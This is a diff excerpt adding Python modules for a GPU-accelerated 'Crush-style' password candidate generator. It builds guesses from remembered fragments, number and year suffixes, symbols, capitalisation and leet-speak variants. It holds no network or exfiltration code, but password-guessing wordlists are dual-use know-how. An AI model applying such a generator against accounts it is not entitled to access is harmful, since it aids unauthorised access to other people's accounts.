for f in debug_path.glob("capture_*.png"):
|
||||||
|
if f.stat().st_mtime < cutoff:
|
||||||
|
f.unlink()
|
||||||
|
logger.debug(f"Cleaned up: {f}")
|
||||||
0
src/engine/__init__.py
Normal file
0
src/engine/__init__.py
Normal file
125
src/engine/combinatorics.py
Normal file
125
src/engine/combinatorics.py
Normal file
@@ -0,0 +1,125 @@
|
|||||||
|
"""
|
||||||
|
Combinatorial logic for password generation.
|
||||||
|
Handles Cartesian products, filtering, and pattern matching.
|
||||||
|
"""
|
||||||
|
import itertools
|
||||||
|
from typing import List, Optional, Set, Tuple
|
||||||
|
|
||||||
|
|
||||||
|
def cartesian_product(*lists: List[str]) -> List[str]:
|
||||||
|
"""Generate all combinations from multiple lists."""
|
||||||
|
if not lists:
|
||||||
|
return []
|
||||||
|
return ["".join(combo) for combo in itertools.product(*lists)]
|
||||||
|
|
||||||
|
|
||||||
|
def apply_length_filter(passwords: List[str], min_len: int, max_len: int) -> List[str]:
|
||||||
|
"""Filter passwords by length range."""
|
||||||
|
return [p for p in passwords if min_len <= len(p) <= max_len]
|
||||||
|
|
||||||
|
|
||||||
|
def apply_required_chars_filter(
|
||||||
|
passwords: List[str],
|
||||||
|
require_upper: bool = False,
|
||||||
|
require_lower: bool = False,
|
||||||
|
require_digit: bool = False,
|
||||||
|
require_symbol: bool = False,
|
||||||
|
symbols: str = "!@#$%^&*",
|
||||||
|
) -> List[str]:
|
||||||
|
"""Filter passwords that contain required character types."""
|
||||||
|
result = []
|
||||||
|
for pwd in passwords:
|
||||||
|
if require_upper and not any(c.isupper() for c in pwd):
|
||||||
|
continue
|
||||||
|
if require_lower and not any(c.islower() for c in pwd):
|
||||||
|
continue
|
||||||
|
if require_digit and not any(c.isdigit() for c in pwd):
|
||||||
|
continue
|
||||||
|
if require_symbol and not any(c in symbols for c in pwd):
|
||||||
|
continue
|
||||||
|
result.append(pwd)
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
_LEET_TABLE = str.maketrans("aeiostbgAEIOSTBG", "4310578943105789")
|
||||||
|
|
||||||
|
|
||||||
|
def apply_leet_transform(passwords: List[str]) -> List[str]:
|
||||||
|
"""
|
||||||
|
Generate leet variants using a single-pass character table.
|
||||||
|
Produces exactly 2 variants per input (original + fully leet'd),
|
||||||
|
which avoids the exponential blowup of the old iterative rule approach.
|
||||||
|
"""
|
||||||
|
seen: Set[str] = set()
|
||||||
|
result: List[str] = []
|
||||||
|
for pwd in passwords:
|
||||||
|
if pwd not in seen:
|
||||||
|
seen.add(pwd)
|
||||||
|
result.append(pwd)
|
||||||
|
leet = pwd.translate(_LEET_TABLE)
|
||||||
|
if leet not in seen:
|
||||||
|
seen.add(leet)
|
||||||
|
result.append(leet)
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def apply_capitalization_variants(passwords: List[str]) -> List[str]:
|
||||||
|
"""Generate capitalization variants."""
|
||||||
|
variants = set()
|
||||||
|
for pwd in passwords:
|
||||||
|
variants.add(pwd)
|
||||||
|
variants.add(pwd.lower())
|
||||||
|
variants.add(pwd.upper())
|
||||||
|
variants.add(pwd.capitalize())
|
||||||
|
# CamelCase (first letter of each word uppercase)
|
||||||
|
# For single words, capitalize is sufficient
|
||||||
|
# Toggle case
|
||||||
|
variants.add("".join(
|
||||||
|
c.upper() if i % 2 == 0 else c.lower()
|
||||||
|
for i, c in enumerate(pwd)
|
||||||
|
))
|
||||||
|
return list(variants)
|
||||||
|
|
||||||
|
|
||||||
|
def generate_number_suffixes(start: int = 0, end: int = 9999) -> List[str]:
|
||||||
|
"""Generate number suffixes in common patterns."""
|
||||||
|
if start > end:
|
||||||
|
start, end = end, start
|
||||||
|
numbers = set()
|
||||||
|
for n in range(start, end + 1):
|
||||||
|
numbers.add(str(n))
|
||||||
|
# Common patterns
|
||||||
|
if n < 100:
|
||||||
|
numbers.add(f"{n:02d}")
|
||||||
|
if n < 1000:
|
||||||
|
numbers.add(f"{n:03d}")
|
||||||
|
# Add common special numbers
|
||||||
|
special = ["123", "007", "69", "420", "666", "777", "000", "111", "222",
|
||||||
|
"333", "444", "555", "888", "999", "1234", "4321", "0000"]
|
||||||
|
numbers.update(special)
|
||||||
|
return list(numbers)
|
||||||
|
|
||||||
|
|
||||||
|
def generate_common_symbols() -> List[str]:
|
||||||
|
"""Return common symbols used in passwords."""
|
||||||
|
return ["!", "@", "#", "$", "%", "^", "&", "*", "_", "-", "+", "=", ".", "?"]
|
||||||
|
|
||||||
|
|
||||||
|
def generate_year_range(start: int = 1990, end: int = 2030) -> List[str]:
|
||||||
|
"""Generate year strings."""
|
||||||
|
return [str(y) for y in range(start, end + 1)]
|
||||||
|
|
||||||
|
|
||||||
|
def estimate_combinations(word_count: int, num_count: int, sym_count: int, patterns: List[str]) -> int:
|
||||||
|
"""Estimate total combinations for a given configuration."""
|
||||||
|
total = 0
|
||||||
|
for pattern in patterns:
|
||||||
|
count = 1
|
||||||
|
if "{word}" in pattern:
|
||||||
|
count *= word_count
|
||||||
|
if "{num}" in pattern:
|
||||||
|
count *= num_count
|
||||||
|
if "{sym}" in pattern:
|
||||||
|
count *= sym_count
|
||||||
|
total += count
|
||||||
|
return total
|
||||||
270
src/engine/gpu_accelerator.py
Normal file
270
src/engine/gpu_accelerator.py
Normal file
@@ -0,0 +1,270 @@
|
|||||||
|
"""
|
||||||
|
GPU / high-performance acceleration for password generation.
|
||||||
|
|
||||||
|
Priority order:
|
||||||
|
1. CuPy (NVIDIA CUDA) — if installed and a GPU is present
|
||||||
|
2. NumPy vectorized ops — fast CPU path
|
||||||
|
3. Pure Python — always-available fallback
|
||||||
|
"""
|
||||||
|
import itertools
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
from typing import List, Optional
|
||||||
|
from config import GPU_THRESHOLD
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
# ── Fix CUDA DLL discovery before importing CuPy ────────────────────────────
|
||||||
|
# When CuPy is pip-installed (cupy-cuda12x), the CUDA runtime DLLs land inside
|
||||||
|
# the `nvidia.*` sub-packages rather than in the system CUDA toolkit directory.
|
||||||
|
# CuPy's pathfinder won't locate nvrtc.dll unless those bin/ dirs are on PATH.
|
||||||
|
def _inject_nvidia_paths() -> None:
|
||||||
|
"""Configure CuPy to use pip-installed CUDA packages (no system toolkit needed).
|
||||||
|
|
||||||
|
When CuPy is installed via pip (cupy-cuda12x + nvidia-cuda-* packages),
|
||||||
|
the CUDA runtime, nvrtc, and cublas DLLs land inside
|
||||||
|
site-packages/nvidia/<subpkg>/bin/.
|
||||||
|
|
||||||
|
CuPy requires:
|
||||||
|
- CUDA_PATH env var pointing to a directory with bin/, include/, lib/
|
||||||
|
(nvidia/cuda_runtime fits this requirement exactly).
|
||||||
|
- All DLL directories on PATH so Windows can load them at import time.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
extra_dirs: list = []
|
||||||
|
cuda_path_candidate: str = ""
|
||||||
|
|
||||||
|
for sp in sys.path:
|
||||||
|
if "site-packages" not in sp:
|
||||||
|
continue
|
||||||
|
nvidia_root = os.path.join(sp, "nvidia")
|
||||||
|
if not os.path.isdir(nvidia_root):
|
||||||
|
continue
|
||||||
|
|
||||||
|
for sub in os.listdir(nvidia_root):
|
||||||
|
sub_path = os.path.join(nvidia_root, sub)
|
||||||
|
# Collect every bin/ directory that holds DLLs
|
||||||
|
bin_dir = os.path.join(sub_path, "bin")
|
||||||
|
if os.path.isdir(bin_dir) and any(
|
||||||
|
f.endswith(".dll") for f in os.listdir(bin_dir)
|
||||||
|
):
|
||||||
|
extra_dirs.append(bin_dir)
|
||||||
|
# Prefer cuda_runtime as CUDA_PATH (has bin/ + include/ + lib/)
|
||||||
|
if sub == "cuda_runtime" and not cuda_path_candidate:
|
||||||
|
cuda_path_candidate = sub_path
|
||||||
|
|
||||||
|
break # first matching site-packages is enough
|
||||||
|
|
||||||
|
# Extend PATH with all DLL directories
|
||||||
|
if extra_dirs:
|
||||||
|
current_path = os.environ.get("PATH", "")
|
||||||
|
new_dirs = [d for d in extra_dirs if d not in current_path]
|
||||||
|
if new_dirs:
|
||||||
|
os.environ["PATH"] = os.pathsep.join(new_dirs) + os.pathsep + current_path
|
||||||
|
|
||||||
|
# Set CUDA_PATH only if not already set and we found cuda_runtime
|
||||||
|
if cuda_path_candidate and "CUDA_PATH" not in os.environ:
|
||||||
|
os.environ["CUDA_PATH"] = cuda_path_candidate
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
_inject_nvidia_paths()
|
||||||
|
|
||||||
|
try:
|
||||||
|
import numpy as np
|
||||||
|
HAS_NUMPY = True
|
||||||
|
except ImportError:
|
||||||
|
HAS_NUMPY = False
|
||||||
|
np = None # type: ignore
|
||||||
|
|
||||||
|
# ── CUDA / CuPy detection ────────────────────────────────────────────────────
|
||||||
|
# CuPy 14 removed cp.char; we use integer-index Cartesian products on the GPU
|
||||||
|
# and then apply those indices with NumPy for the actual string lookups.
|
||||||
|
# This avoids any need for GPU string kernels while still getting a large
|
||||||
|
# speedup on the index-generation step (most of the work at scale).
|
||||||
|
try:
|
||||||
|
import warnings
|
||||||
|
with warnings.catch_warnings():
|
||||||
|
warnings.simplefilter("ignore")
|
||||||
|
import cupy as cp
|
||||||
|
|
||||||
|
# Smoke-test: run a trivial kernel to confirm nvrtc / the compiler works
|
||||||
|
_smoke = cp.array([1, 2, 3], dtype=cp.float32) + 1.0
|
||||||
|
cp.asnumpy(_smoke) # force synchronisation
|
||||||
|
|
||||||
|
_dev = cp.cuda.runtime.getDeviceProperties(0)
|
||||||
|
_GPU_NAME = (
|
||||||
|
_dev["name"].decode() if isinstance(_dev["name"], bytes) else _dev["name"]
|
||||||
|
)
|
||||||
|
_GPU_VRAM_GB = _dev["totalGlobalMem"] / (1024 ** 3)
|
||||||
|
HAS_CUPY = True
|
||||||
|
logger.info(f"CuPy GPU ready: {_GPU_NAME} ({_GPU_VRAM_GB:.1f} GB VRAM)")
|
||||||
|
except Exception as exc:
|
||||||
|
HAS_CUPY = False
|
||||||
|
_GPU_NAME = "N/A"
|
||||||
|
_GPU_VRAM_GB = 0.0
|
||||||
|
logger.warning(f"CuPy GPU unavailable ({exc}); using NumPy/CPU path")
|
||||||
|
|
||||||
|
_LEET_TABLE = str.maketrans("aeiostbgAEIOSTBG", "4310578943105789")
|
||||||
|
|
||||||
|
|
||||||
|
def get_gpu_info() -> str:
|
||||||
|
if HAS_CUPY:
|
||||||
|
return f"{_GPU_NAME} ({_GPU_VRAM_GB:.1f} GB VRAM) [CuPy GPU]"
|
||||||
|
if HAS_NUMPY:
|
||||||
|
return "No CUDA GPU — NumPy CPU acceleration"
|
||||||
|
return "No CUDA GPU — pure Python mode"
|
||||||
|
|
||||||
|
|
||||||
|
def is_gpu_available() -> bool:
|
||||||
|
return HAS_CUPY
|
||||||
|
|
||||||
|
|
||||||
|
# ── Combination generation ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def gpu_generate_combinations(
|
||||||
|
prefixes: List[str],
|
||||||
|
suffixes: List[str],
|
||||||
|
symbols: Optional[List[str]] = None,
|
||||||
|
) -> List[str]:
|
||||||
|
total = len(prefixes) * len(suffixes) * (len(symbols) if symbols else 1)
|
||||||
|
if HAS_CUPY and total > GPU_THRESHOLD:
|
||||||
|
return _cupy_combinations(prefixes, suffixes, symbols)
|
||||||
|
if HAS_NUMPY:
|
||||||
|
return _numpy_combinations(prefixes, suffixes, symbols)
|
||||||
|
return _python_combinations(prefixes, suffixes, symbols)
|
||||||
|
|
||||||
|
|
||||||
|
def _cupy_combinations(
|
||||||
|
prefixes: List[str],
|
||||||
|
suffixes: List[str],
|
||||||
|
symbols: Optional[List[str]] = None,
|
||||||
|
) -> List[str]:
|
||||||
|
"""
|
||||||
|
Generate all Cartesian-product combinations using CuPy for the index math.
|
||||||
|
|
||||||
|
Strategy (CuPy 14 compatible — no cp.char):
|
||||||
|
1. Build integer index grids on the GPU (fast meshgrid).
|
||||||
|
2. Transfer flat index arrays back to CPU (small int arrays, cheap).
|
||||||
|
3. Use NumPy fancy-indexing on string arrays for the lookup.
|
||||||
|
This keeps string data on CPU (where Python/NumPy handles it natively)
|
||||||
|
while the expensive index explosion runs on the GPU.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
np_pre = np.array(prefixes)
|
||||||
|
np_suf = np.array(suffixes)
|
||||||
|
|
||||||
|
n_p = len(prefixes)
|
||||||
|
n_s = len(suffixes)
|
||||||
|
|
||||||
|
if symbols:
|
||||||
|
np_sym = np.array(symbols)
|
||||||
|
n_sym = len(symbols)
|
||||||
|
pi = cp.arange(n_p, dtype=cp.int32)
|
||||||
|
si = cp.arange(n_s, dtype=cp.int32)
|
||||||
|
symi = cp.arange(n_sym, dtype=cp.int32)
|
||||||
|
pg, symg, sg = cp.meshgrid(pi, symi, si, indexing="ij")
|
||||||
|
p_idx = cp.asnumpy(pg.ravel())
|
||||||
|
sym_idx = cp.asnumpy(symg.ravel())
|
||||||
|
s_idx = cp.asnumpy(sg.ravel())
|
||||||
|
return (np_pre[p_idx] + np_sym[sym_idx] + np_suf[s_idx]).tolist()
|
||||||
|
else:
|
||||||
|
pi = cp.arange(n_p, dtype=cp.int32)
|
||||||
|
si = cp.arange(n_s, dtype=cp.int32)
|
||||||
|
pg, sg = cp.meshgrid(pi, si, indexing="ij")
|
||||||
|
p_idx = cp.asnumpy(pg.ravel())
|
||||||
|
s_idx = cp.asnumpy(sg.ravel())
|
||||||
|
return (np_pre[p_idx] + np_suf[s_idx]).tolist()
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"CuPy GPU combination path failed ({e}), falling back")
|
||||||
|
if HAS_NUMPY:
|
||||||
|
return _numpy_combinations(prefixes, suffixes, symbols)
|
||||||
|
return _python_combinations(prefixes, suffixes, symbols)
|
||||||
|
|
||||||
|
|
||||||
|
def _numpy_combinations(
|
||||||
|
prefixes: List[str],
|
||||||
|
suffixes: List[str],
|
||||||
|
symbols: Optional[List[str]] = None,
|
||||||
|
) -> List[str]:
|
||||||
|
try:
|
||||||
|
p = np.array(prefixes, dtype=object)
|
||||||
|
s = np.array(suffixes, dtype=object)
|
||||||
|
if symbols:
|
||||||
|
sym = np.array(symbols, dtype=object)
|
||||||
|
p3, sym3, s3 = np.meshgrid(p, sym, s, indexing="ij")
|
||||||
|
ps = np.char.add(p3.ravel(), sym3.ravel())
|
||||||
|
return np.char.add(ps, s3.ravel()).tolist()
|
||||||
|
p_grid, s_grid = np.meshgrid(p, s, indexing="ij")
|
||||||
|
return np.char.add(p_grid.ravel(), s_grid.ravel()).tolist()
|
||||||
|
except Exception as e:
|
||||||
|
logger.warning(f"NumPy combination path failed ({e}), using pure Python")
|
||||||
|
return _python_combinations(prefixes, suffixes, symbols)
|
||||||
|
|
||||||
|
|
||||||
|
def _python_combinations(
|
||||||
|
prefixes: List[str],
|
||||||
|
suffixes: List[str],
|
||||||
|
symbols: Optional[List[str]] = None,
|
||||||
|
) -> List[str]:
|
||||||
|
if symbols:
|
||||||
|
return [f"{p}{sym}{s}" for p in prefixes for sym in symbols for s in suffixes]
|
||||||
|
return [f"{p}{s}" for p in prefixes for s in suffixes]
|
||||||
|
|
||||||
|
|
||||||
|
# ── Leet-speak transform ───────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _leet_pair(words: List[str]) -> List[str]:
|
||||||
|
seen: set = set()
|
||||||
|
result: List[str] = []
|
||||||
|
for w in words:
|
||||||
|
if w not in seen:
|
||||||
|
seen.add(w)
|
||||||
|
result.append(w)
|
||||||
|
leet = w.translate(_LEET_TABLE)
|
||||||
|
if leet not in seen:
|
||||||
|
seen.add(leet)
|
||||||
|
result.append(leet)
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def gpu_leet_transform(words: List[str]) -> List[str]:
|
||||||
|
if len(words) < 5_000 or not HAS_NUMPY:
|
||||||
|
return _leet_pair(words)
|
||||||
|
try:
|
||||||
|
arr = np.array(words, dtype=object)
|
||||||
|
leet_fn = np.frompyfunc(lambda s: s.translate(_LEET_TABLE), 1, 1)
|
||||||
|
leet = leet_fn(arr)
|
||||||
|
combined = np.unique(np.concatenate([arr, leet]))
|
||||||
|
return combined.tolist()
|
||||||
|
except Exception:
|
||||||
|
return _leet_pair(words)
|
||||||
|
|
||||||
|
|
||||||
|
# ── Utility transforms ────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def gpu_batch_deduplicate(strings: List[str]) -> List[str]:
|
||||||
|
seen: set = set()
|
||||||
|
out: List[str] = []
|
||||||
|
for s in strings:
|
||||||
|
if s not in seen:
|
||||||
|
seen.add(s)
|
||||||
|
out.append(s)
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
def gpu_batch_length_filter(
|
||||||
|
strings: List[str], min_len: int, max_len: int
|
||||||
|
) -> List[str]:
|
||||||
|
if len(strings) < 10_000 or not HAS_NUMPY:
|
||||||
|
return [s for s in strings if min_len <= len(s) <= max_len]
|
||||||
|
try:
|
||||||
|
arr = np.array(strings, dtype=object)
|
||||||
|
lengths = np.vectorize(len)(arr)
|
||||||
|
mask = (lengths >= min_len) & (lengths <= max_len)
|
||||||
|
return arr[mask].tolist()
|
||||||
|
except Exception:
|
||||||
|
return [s for s in strings if min_len <= len(s) <= max_len]
|
||||||
310
src/engine/password_generator.py
Normal file
310
src/engine/password_generator.py
Normal file
@@ -0,0 +1,310 @@
|
|||||||
|
"""
|
||||||
|
Crush-style password generator.
|
||||||
|
Takes user-defined fragments, rules, and patterns to produce targeted password candidates.
|
||||||
|
"""
|
||||||
|
import itertools
|
||||||
|
import logging
|
||||||
|
import re
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from typing import List, Optional, Set
|
||||||
|
from src.engine.combinatorics import (
|
||||||
|
apply_required_chars_filter,
|
||||||
|
generate_number_suffixes,
|
||||||
|
generate_year_range,
|
||||||
|
estimate_combinations,
|
||||||
|
)
|
||||||
|
from src.engine.gpu_accelerator import (
|
||||||
|
gpu_generate_combinations,
|
||||||
|
gpu_leet_transform as _gpu_leet,
|
||||||
|
gpu_batch_length_filter,
|
||||||
|
is_gpu_available,
|
||||||
|
get_gpu_info,
|
||||||
|
)
|
||||||
|
from config import GPU_THRESHOLD
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class GenerationConfig:
|
||||||
|
"""Configuration for password generation."""
|
||||||
|
# Known fragments (substrings the user remembers)
|
||||||
|
fragments: List[str] = field(default_factory=list)
|
||||||
|
|
||||||
|
# Custom words the user provides
|
||||||
|
custom_words: List[str] = field(default_factory=list)
|
||||||
|
|
||||||
|
# Number options
|
||||||
|
append_numbers: bool = False
|
||||||
|
prepend_numbers: bool = False
|
||||||
|
number_range_start: int = 0
|
||||||
|
number_range_end: int = 9999
|
||||||
|
use_years: bool = False
|
||||||
|
year_start: int = 1990
|
||||||
|
year_end: int = 2030
|
||||||
|
sequential_numbers: bool = False
|
||||||
|
|
||||||
|
# Symbol options
|
||||||
|
append_symbols: bool = False
|
||||||
|
prepend_symbols: bool = False
|
||||||
|
symbols_between: bool = False
|
||||||
|
custom_symbols: str = "!@#$%^&*"
|
||||||
|
|
||||||
|
# Capitalization options
|
||||||
|
first_letter_caps: bool = False
|
||||||
|
all_caps: bool = False
|
||||||
|
camel_case: bool = False
|
||||||
|
toggle_case: bool = False
|
||||||
|
|
||||||
|
# Transform options
|
||||||
|
leet_speak: bool = False
|
||||||
|
|
||||||
|
# Pattern templates
|
||||||
|
patterns: List[str] = field(default_factory=lambda: [
|
||||||
|
"{word}{num}",
|
||||||
|
"{word}{sym}{num}",
|
||||||
|
"{num}{word}",
|
||||||
|
"{sym}{word}{num}",
|
||||||
|
"{word}{num}{sym}",
|
||||||
|
"{num}{sym}{word}",
|
||||||
|
])
|
||||||
|
|
||||||
|
# Length constraints
|
||||||
|
min_length: int = 6
|
||||||
|
max_length: int = 32
|
||||||
|
|
||||||
|
# Character requirements
|
||||||
|
require_upper: bool = False
|
||||||
|
require_lower: bool = False
|
||||||
|
require_digit: bool = False
|
||||||
|
require_symbol: bool = False
|
||||||
|
|
||||||
|
# Custom pattern string (overrides patterns list if set)
|
||||||
|
custom_pattern: str = ""
|
||||||
|
|
||||||
|
|
||||||
|
class PasswordGenerator:
|
||||||
|
"""Crush-style password generator with GPU acceleration."""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.gpu_available = is_gpu_available()
|
||||||
|
self.gpu_info = get_gpu_info() if self.gpu_available else "CPU only"
|
||||||
|
logger.info(f"PasswordGenerator initialized. GPU: {self.gpu_info}")
|
||||||
|
|
||||||
|
def generate(self, config: GenerationConfig) -> List[str]:
|
||||||
|
"""
|
||||||
|
Main generation method. Produces all password candidates based on config.
|
||||||
|
"""
|
||||||
|
# Build the base word list
|
||||||
|
words = self._build_word_list(config)
|
||||||
|
if not words:
|
||||||
|
logger.warning("No words/fragments provided for generation")
|
||||||
|
return []
|
||||||
|
|
||||||
|
logger.info(f"Base word list: {len(words)} words")
|
||||||
|
|
||||||
|
# Apply capitalization variants
|
||||||
|
words = self._apply_capitalization(words, config)
|
||||||
|
logger.info(f"After capitalization: {len(words)} words")
|
||||||
|
|
||||||
|
# Apply leet speak (GPU-accelerated when available)
|
||||||
|
if config.leet_speak:
|
||||||
|
words = _gpu_leet(words)
|
||||||
|
logger.info(f"After leet speak: {len(words)} words")
|
||||||
|
|
||||||
|
# Build number and symbol lists — only when the respective flags are on
|
||||||
|
numbers = self._build_number_list(config)
|
||||||
|
use_symbols = (
|
||||||
|
config.append_symbols or config.prepend_symbols or config.symbols_between
|
||||||
|
)
|
||||||
|
symbols = list(config.custom_symbols) if (config.custom_symbols and use_symbols) else []
|
||||||
|
|
||||||
|
# Generate combinations based on patterns
|
||||||
|
passwords = self._apply_patterns(words, numbers, symbols, config)
|
||||||
|
logger.info(f"After pattern application: {len(passwords)} candidates")
|
||||||
|
|
||||||
|
# Apply length filter (GPU-accelerated for large lists)
|
||||||
|
passwords = gpu_batch_length_filter(passwords, config.min_length, config.max_length)
|
||||||
|
logger.info(f"After length filter ({config.min_length}-{config.max_length}): {len(passwords)}")
|
||||||
|
|
||||||
|
passwords = apply_required_chars_filter(
|
||||||
|
passwords,
|
||||||
|
require_upper=config.require_upper,
|
||||||
|
require_lower=config.require_lower,
|
||||||
|
require_digit=config.require_digit,
|
||||||
|
require_symbol=config.require_symbol,
|
||||||
|
symbols=config.custom_symbols,
|
||||||
|
)
|
||||||
|
logger.info(f"After char requirements: {len(passwords)}")
|
||||||
|
|
||||||
|
# Deduplicate while preserving order
|
||||||
|
seen: Set[str] = set()
|
||||||
|
unique = []
|
||||||
|
for p in passwords:
|
||||||
|
if p not in seen:
|
||||||
|
seen.add(p)
|
||||||
|
unique.append(p)
|
||||||
|
|
||||||
|
logger.info(f"Final unique candidates: {len(unique)}")
|
||||||
|
return unique
|
||||||
|
|
||||||
|
def _build_word_list(self, config: GenerationConfig) -> List[str]:
|
||||||
|
"""Build the base word list from fragments and custom words."""
|
||||||
|
words = []
|
||||||
|
|
||||||
|
# Add fragments
|
||||||
|
for f in config.fragments:
|
||||||
|
f = f.strip()
|
||||||
|
if f:
|
||||||
|
words.append(f)
|
||||||
|
|
||||||
|
# Add custom words
|
||||||
|
for w in config.custom_words:
|
||||||
|
w = w.strip()
|
||||||
|
if w:
|
||||||
|
words.append(w)
|
||||||
|
|
||||||
|
return words
|
||||||
|
|
||||||
|
def _apply_capitalization(self, words: List[str], config: GenerationConfig) -> List[str]:
|
||||||
|
"""Apply capitalization rules."""
|
||||||
|
if not any([config.first_letter_caps, config.all_caps,
|
||||||
|
config.camel_case, config.toggle_case]):
|
||||||
|
return words
|
||||||
|
|
||||||
|
variants = set()
|
||||||
|
for w in words:
|
||||||
|
variants.add(w) # Original
|
||||||
|
if config.first_letter_caps:
|
||||||
|
variants.add(w.capitalize())
|
||||||
|
if config.all_caps:
|
||||||
|
variants.add(w.upper())
|
||||||
|
if config.camel_case:
|
||||||
|
# For single words, capitalize is the same as first_letter_caps
|
||||||
|
variants.add(w.capitalize())
|
||||||
|
if config.toggle_case:
|
||||||
|
variants.add("".join(
|
||||||
|
c.upper() if i % 2 == 0 else c.lower()
|
||||||
|
for i, c in enumerate(w)
|
||||||
|
))
|
||||||
|
|
||||||
|
return list(variants)
|
||||||
|
|
||||||
|
def _build_number_list(self, config: GenerationConfig) -> List[str]:
|
||||||
|
"""Build the number list based on config."""
|
||||||
|
numbers = set()
|
||||||
|
|
||||||
|
if config.append_numbers or config.prepend_numbers:
|
||||||
|
nums = generate_number_suffixes(config.number_range_start, config.number_range_end)
|
||||||
|
numbers.update(nums)
|
||||||
|
|
||||||
|
if config.use_years:
|
||||||
|
years = generate_year_range(config.year_start, config.year_end)
|
||||||
|
numbers.update(years)
|
||||||
|
|
||||||
|
if config.sequential_numbers:
|
||||||
|
numbers.update(["123", "234", "345", "456", "567", "678", "789"])
|
||||||
|
|
||||||
|
return list(numbers)
|
||||||
|
|
||||||
|
def _apply_patterns(
|
||||||
|
self,
|
||||||
|
words: List[str],
|
||||||
|
numbers: List[str],
|
||||||
|
symbols: List[str],
|
||||||
|
config: GenerationConfig,
|
||||||
|
) -> List[str]:
|
||||||
|
"""Apply pattern templates to generate combinations."""
|
||||||
|
# Always include bare words — they are valid candidates on their own
|
||||||
|
passwords = set(words)
|
||||||
|
|
||||||
|
# Determine which patterns to use
|
||||||
|
if config.custom_pattern:
|
||||||
|
patterns = [config.custom_pattern]
|
||||||
|
else:
|
||||||
|
patterns = config.patterns
|
||||||
|
|
||||||
|
# Nothing to combine with — bare words only
|
||||||
|
if not numbers and not symbols:
|
||||||
|
return list(passwords)
|
||||||
|
|
||||||
|
for pattern in patterns:
|
||||||
|
# Parse the pattern and generate
|
||||||
|
parts = re.split(r"(\{word\}|\{num\}|\{sym\})", pattern)
|
||||||
|
parts = [p for p in parts if p] # Remove empty strings
|
||||||
|
|
||||||
|
# Build the lists for each part
|
||||||
|
lists_for_product = []
|
||||||
|
for part in parts:
|
||||||
|
if part == "{word}":
|
||||||
|
lists_for_product.append(words)
|
||||||
|
elif part == "{num}":
|
||||||
|
lists_for_product.append(numbers)
|
||||||
|
elif part == "{sym}":
|
||||||
|
lists_for_product.append(symbols)
|
||||||
|
else:
|
||||||
|
# Literal text
|
||||||
|
lists_for_product.append([part])
|
||||||
|
|
||||||
|
if not lists_for_product:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Generate combinations
|
||||||
|
# Use GPU if the set is large enough
|
||||||
|
total_est = 1
|
||||||
|
for lst in lists_for_product:
|
||||||
|
total_est *= len(lst)
|
||||||
|
|
||||||
|
if total_est > GPU_THRESHOLD and self.gpu_available:
|
||||||
|
logger.info(f"Using GPU for {total_est} combinations (pattern: {pattern})")
|
||||||
|
if len(lists_for_product) == 2:
|
||||||
|
gpu_result = gpu_generate_combinations(
|
||||||
|
lists_for_product[0], lists_for_product[1]
|
||||||
|
)
|
||||||
|
passwords.update(gpu_result)
|
||||||
|
elif len(lists_for_product) == 3:
|
||||||
|
if parts[1] == "{sym}":
|
||||||
|
gpu_result = gpu_generate_combinations(
|
||||||
|
lists_for_product[0],
|
||||||
|
lists_for_product[2],
|
||||||
|
lists_for_product[1],
|
||||||
|
)
|
||||||
|
passwords.update(gpu_result)
|
||||||
|
else:
|
||||||
|
for combo in itertools.product(*lists_for_product):
|
||||||
|
passwords.add("".join(combo))
|
||||||
|
else:
|
||||||
|
# 4+ part patterns: fall back to CPU itertools
|
||||||
|
for combo in itertools.product(*lists_for_product):
|
||||||
|
passwords.add("".join(combo))
|
||||||
|
else:
|
||||||
|
# CPU path
|
||||||
|
for combo in itertools.product(*lists_for_product):
|
||||||
|
passwords.add("".join(combo))
|
||||||
|
|
||||||
|
return list(passwords)
|
||||||
|
|
||||||
|
def estimate(self, config: GenerationConfig) -> int:
|
||||||
|
"""Estimate how many passwords will be generated."""
|
||||||
|
words = self._build_word_list(config)
|
||||||
|
if not words:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
word_count = len(words)
|
||||||
|
# Caps variants produce at most ~2x unique words
|
||||||
|
if config.first_letter_caps or config.all_caps or config.camel_case or config.toggle_case:
|
||||||
|
word_count = int(word_count * 2)
|
||||||
|
# Leet produces roughly 2x additional variants
|
||||||
|
if config.leet_speak:
|
||||||
|
word_count = int(word_count * 3)
|
||||||
|
|
||||||
|
# Use actual helper output sizes for accuracy
|
||||||
|
num_count = len(self._build_number_list(config))
|
||||||
|
|
||||||
|
use_symbols = config.append_symbols or config.prepend_symbols or config.symbols_between
|
||||||
|
sym_count = len(config.custom_symbols) if (config.custom_symbols and use_symbols) else 0
|
||||||
|
|
||||||
|
patterns = [config.custom_pattern] if config.custom_pattern else config.patterns
|
||||||
|
# Base count always includes the bare words themselves
|
||||||
|
combo_estimate = estimate_combinations(word_count, num_count, sym_count, patterns)
|
||||||
|
return word_count + combo_estimate
|
||||||
0
src/gui/__init__.py
Normal file
0
src/gui/__init__.py
Normal file
252
src/gui/app.py
Normal file
252
src/gui/app.py
Normal file
@@ -0,0 +1,252 @@
|
|||||||
|
"""
|
||||||
|
Main application window — ties all tabs together with the cyberpunk theme.
|
||||||
|
"""
|
||||||
|
import logging
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
import customtkinter as ctk
|
||||||
|
|
||||||
|
from src.gui.theme import CyberpunkTheme
|
||||||
|
from src.gui.password_builder_tab import PasswordBuilderTab
|
||||||
|
